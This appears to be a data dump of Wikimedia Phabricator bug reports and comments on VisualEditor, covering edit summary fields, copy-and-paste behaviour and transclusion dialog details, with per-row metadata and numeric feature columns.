I seriously doubt that that is the reason you have a higher incidence of edit summaries. What you did in parallel to making it a textarea was that you hid the ""Save page"" final submit button behind a dialog that prominently presents the box for an edit summary. Users no longer feel free to skip a mysterious text box and click ""Save page"" right away, the look and feel of the modal dialog forces them to consider filling it out in full before proceeding. That's why you're getting more edit summaries.",,,1375414773,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,1.0,5.5,9.5,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,5.5,3.5,1.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,16.5,1.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,6.5,1.0,4.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,5.0,9.5,1.5,0.0,3.0,0.0,5.0,0.0,2.0,3.5,1.0,3.0,2.5,0.0,0.0,3.9545454545454546,0.8090909090909091,"**sk8er_97456** wrote:

I seriously doubt that that is the reason you have a higher incidence of edit summaries. What you did in parallel to making it a textarea was that you hid the ""Save page"" final submit button behind a dialog that prominently presents the box for an edit summary. Users no longer feel free to skip a mysterious text box and click ""Save page"" right away, the look and feel of the modal dialog forces them to consider filling it out in full before proceeding. That's why you're getting more edit summaries."
241348,VisualEditor: Edit summary box should be a text input box and not textarea,"By making the summary a textarea rather than an inputbox we've seen a radically-greater number of editors (especially, anonymous and new editors) entering edit summaries for their edits. I think we should think very seriously about the impact of such a change before just making it.",,,1375388426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,11.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,7.0,0.0,6.0,2.0,0.0,0.0,4.388888888888889,0.8333333333333334,"By making the summary a textarea rather than an inputbox we've seen a radically-greater number of editors (especially, anonymous and new editors) entering edit summaries for their edits. I think we should think very seriously about the impact of such a change before just making it."
241342,VisualEditor: Edit summary box should be a text input box and not textarea,"**KilliondudeWP** wrote:

Another issue brought up with having a text area box is that previously entered summaries are not suggested. Most browsers suggest prior terms entered into text input boxes, this allowing editors to choose from their (frequently) used summaries.

https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Improvements&oldid=566754323#Autofill_edit_summary",,,1375384096,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,4.490566037735849,0.8490566037735849,"**KilliondudeWP** wrote:

Another issue brought up with having a text area box is that previously entered summaries are not suggested. Most browsers suggest prior terms entered into text input boxes, this allowing editors to choose from their (frequently) used summaries.

URL"
54096,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Steps to reproduce
1. Create a page with a linefeed
2. Edit it in VE
3. Copy the block containing the ↵
4. In a new VE window, paste

Expected results:
VE smartly removes the ↵

Actual results:
The ↵ is pasted into the second VE as a literal character

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53828",Low,25.0,1374849360,1378923398.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-bmgl5fdektu6pj27wpm4,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,18.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.21505376344086,0.5591397849462365,"Steps to reproduce
1. Create a page with a linefeed
2. Edit it in VE
3. Copy the block containing the ↵
4. In a new VE window, paste

Expected results:
VE smartly removes the ↵

Actual results:
The ↵ is pasted into the second VE as a literal character

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
239403,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Just want to capture that in many cases the user could want the ↵ to mean ""break this line and create a new line""

I don't think this is 100% of the time, but enough that we should think about it.",,,1378923579,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,10,,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,4.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,6.0,15.0,2.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2708333333333335,0.8125,"Just want to capture that in many cases the user could want the ↵ to mean ""break this line and create a new line""

I don't think this is 100% of the time, but enough that we should think about it."
239397,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378923311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.9545454545454546,0.9545454545454546,"Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
239392,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378548144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,28.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.2,0.96,"Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
239389,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","References are also pasted as [1], etc",,,1374849508,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.2,1.0,"References are also pasted as [1], etc"
54091,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"As perhaps a simpler case of copy and paste from 'external sources', pasting richtext that copied from the same wiki should work seamlessly.

In many cases, the 'html' already has the metadata needed. e.g. the image, or text-with-wikilinks, even the categories, should be paste-able

https://en.wikipedia.org/wiki/Pelham_Parkway

With a tiny bit of additional html attributes, the navbox templates ({{Parkways in New York City}} & {{Bronx streets}}) could be copied as they are self-contained units - no parameter were used to invoke them.

Again with a bit of markup, the Infobox pasted into a VE session, but only the shell transclusion could set up - the parameters would need to be entered by the user in the VE.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51547",Low,25.0,1374842820,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-jg5w64dq46rdbpyabqp7,task_description,open,True,c1,3,False,False,,3,,0.5,0.0,0.0,1.5,0.0,4.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.5,0.0,0.0,0.0,4.0,9.5,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.5,3.0,0.5,0.0,0.0,0.5,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.0,2.5,9.5,0.0,2.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,9.5,4.5,0.0,2.0,0.0,1.0,0.0,0.5,2.0,0.5,0.5,0.5,0.0,0.0,3.640476190476191,0.673931623931624,"As perhaps a simpler case of copy and paste from 'external sources', pasting richtext that copied from the same wiki should work seamlessly.

In many cases, the 'html' already has the metadata needed. e.g. the image, or text-with-wikilinks, even the categories, should be paste-able

URL

With a tiny bit of additional html attributes, the navbox templates ({{Parkways in New York City}} & {{Bronx streets}}) could be copied as they are self-contained units - no parameter were used to invoke them.

Again with a bit of markup, the Infobox pasted into a VE session, but only the shell transclusion could set up - the parameters would need to be entered by the user in the VE.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
2230044,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,This should be largely addressed as we transition to #parsoid-read-views.,,,1700062714,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,541,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9375,This should be largely addressed as we transition to #parsoid-read-views.
1133425,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands:

https://jsfiddle.net/L9q81y02/2/",,,1535732717,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,269,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,19.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,15.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,4.518518518518518,0.9629629629629629,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands:

URL"
239115,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands.",,,1390316714,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.68,0.96,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands."
239108,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,*** Bug 52787 has been marked as a duplicate of this bug. ***,,,1383280378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52787 has been marked as a duplicate of this bug. ***
239099,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"(In reply to comment #2)
> This is a separate problem James.  This is about copying from a non-VE wiki
> page on the same wiki.  That is very different from copying from another VE,
> or another website.  As I eluded to in my initial enhancement request,
> additional HTML needs to be emitted into the read version of the wiki page in
> order that a VE could pick up the name of the template to use when pasting it
> into a VE.

Oh, sorry, I missed your comment about adding RDFa/etc. hinting to highlight what DOM elements are what.

""Tiny"" is not remotely the correct word - this will require us to replace the entire read DOM with the same output as Parsoid provides VisualEditor, which is vaguely scheduled to be considered for research/analysis in about a year's time (this is so far off in the distance there isn't even a bug for it yet). Recasting.",,,1374881208,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,1.5,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.5,0.0,8.0,10.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,4.5,1.0,1.0,2.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.5,9.5,0.0,0.0,7.0,0.0,0.0,0.0,0.5,3.5,1.0,0.5,0.0,3.0,10.0,5.0,0.0,1.0,0.0,3.0,0.0,2.0,2.0,1.0,2.0,0.0,0.0,1.0,3.6488095238095237,0.7705200501253133,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh, sorry, I missed your comment about adding RDFa/etc. hinting to highlight what DOM elements are what.

""Tiny"" is not remotely the correct word - this will require us to replace the entire read DOM with the same output as Parsoid provides VisualEditor, which is vaguely scheduled to be considered for research/analysis in about a year's time (this is so far off in the distance there isn't even a bug for it yet). Recasting."
239090,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"This is a separate problem James.  This is about copying from a non-VE wiki page on the same wiki.  That is very different from copying from another VE, or another website.  As I eluded to in my initial enhancement request, additional HTML needs to be emitted into the read version of the wiki page in order that a VE could pick up the name of the template to use when pasting it into a VE.",,,1374880786,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,1.0,1.0,0.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,20.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,13.0,2.0,1.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,20.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6744186046511627,0.6395348837209303,"This is a separate problem James.  This is about copying from a non-VE wiki page on the same wiki.  That is very different from copying from another VE, or another website.  As I eluded to in my initial enhancement request, additional HTML needs to be emitted into the read version of the wiki page in order that a VE could pick up the name of the template to use when pasting it into a VE."
239083,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"This is not simpler. This is the same. The problem is not taking in rich text (from any source), it's inserting it sanely into VisualEditor's ContentEditable surface, sadly. Merging.

*** This bug has been marked as a duplicate of bug 33105 ***",,,1374880349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,2.0,4.0,5.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,3.5789473684210527,0.7017543859649122,"This is not simpler. This is the same. The problem is not taking in rich text (from any source), it's inserting it sanely into VisualEditor's ContentEditable surface, sadly. Merging.

*** This bug has been marked as a duplicate of bug 33105 ***"
54089,"VisualEditor: Paste in Firefox with privacy option enabled behaves strangely: rich text appears, but in reality paste has failed","The paste operation on Firefox behaves strangely when dom.event.clipboardevents.enabled = false
(which is exposed in the UI of several extensions)

When disabled, rich text appears to have been pasted into VE, with links in blue (but the link isnt editable), but in reality the paste has failed to change the underlying data in VE.

If the user starts typing, the pasted richtext disappears.

If the user saves immediately after the paste, the richtext remains visible in the VE, but the save only adds blank lines instead.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1374841620,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-yluaahg4ge2upl35udiq,task_description,open,True,c1,3,False,False,,3,,0.5,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,1.5,4.0,0.0,0.0,1.0,0.0,0.0,0.5,4.5,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,7.5,2.5,2.0,8.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.5,4.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,4.204918032786885,0.680327868852459,"The paste operation on Firefox behaves strangely when dom.event.clipboardevents.enabled = false
(which is exposed in the UI of several extensions)

When disabled, rich text appears to have been pasted into VE, with links in blue (but the link isnt editable), but in reality the paste has failed to change the underlying data in VE.

If the user starts typing, the pasted richtext disappears.

If the user saves immediately after the paste, the richtext remains visible in the VE, but the save only adds blank lines instead.

--------------------------
**Version**: unspecified
**Severity**: minor"
2424754,"VisualEditor: Paste in Firefox with privacy option enabled behaves strangely: rich text appears, but in reality paste has failed",[[ https://pl.wikipedia.org/w/index.php?title=Wikipedia:Kawiarenka/Kwestie_techniczne&diff=prev&oldid=74782151 | September 2024 report from pl.wikipedia ]] - need to confirm about:config settings of the reporter,,,1727568654,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-yluaahg4ge2upl35udiq,task_subcomment,,True,c1,3,False,,,586,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.090909090909091,0.9090909090909091,[[ URL | September 2024 report from pl.wikipedia ]] - need to confirm about:config settings of the reporter
54087,VisualEditor: Transclusion dialog should also display the actual parameter name as well as the display name,"When you start a new transclusion dialog for a template which has the templatedata specified it shows a list of the parameters with the label on the left and the actual parameters in grey on the right. This is good for power users who know the parameters. 

When you choose a parameter which has a value specified you can see the label, but you can't see what the actual parameter is. This would be quite handy and could use the same grey style as in the list.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374838980,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-i65x4dklyvkvelmyu7om,task_description,open,True,c1,3,False,False,,3,,0.0,0.0,0.0,0.0,1.0,6.0,1.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,3.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,12.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,10.0,2.5,4.0,1.0,2.5,12.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,3.0,0.0,0.0,0.0,0.0,0.0,4.026785714285714,0.7142857142857142,"When you start a new transclusion dialog for a template which has the templatedata specified it shows a list of the parameters with the label on the left and the actual parameters in grey on the right. This is good for power users who know the parameters. 

When you choose a parameter which has a value specified you can see the label, but you can't see what the actual parameter is. This would be quite handy and could use the same grey style as in the list.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
54085,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Wikipedias in some languages, among them Polish, Russian, Ukrainian and Hebrew, have a gadget that shows a list of frequent edit summaries near the edit summary field in source editing mode.

Here are the source samples:

Polish: https://pl.wikipedia.org/wiki/MediaWiki:Gadget-edit-summaries.js
Hebrew: https://he.wikipedia.org/wiki/MediaWiki:Gadget-Summarieslist.js

Many users in the Hebrew Wikipedia complained about the lack of this gadget in the VisualEditor. This could be an enhancement request, but given that for several languages it's an integral part of the editing interface for these languages, it's a regression for them.

Adding this as a feature should be very easy, given that it's quite simple and the existing gadgets' code can be reused. Localization and customization for every project can be done on a MediaWiki page with a list of summaries for that project.

--------------------------
**See Also**:
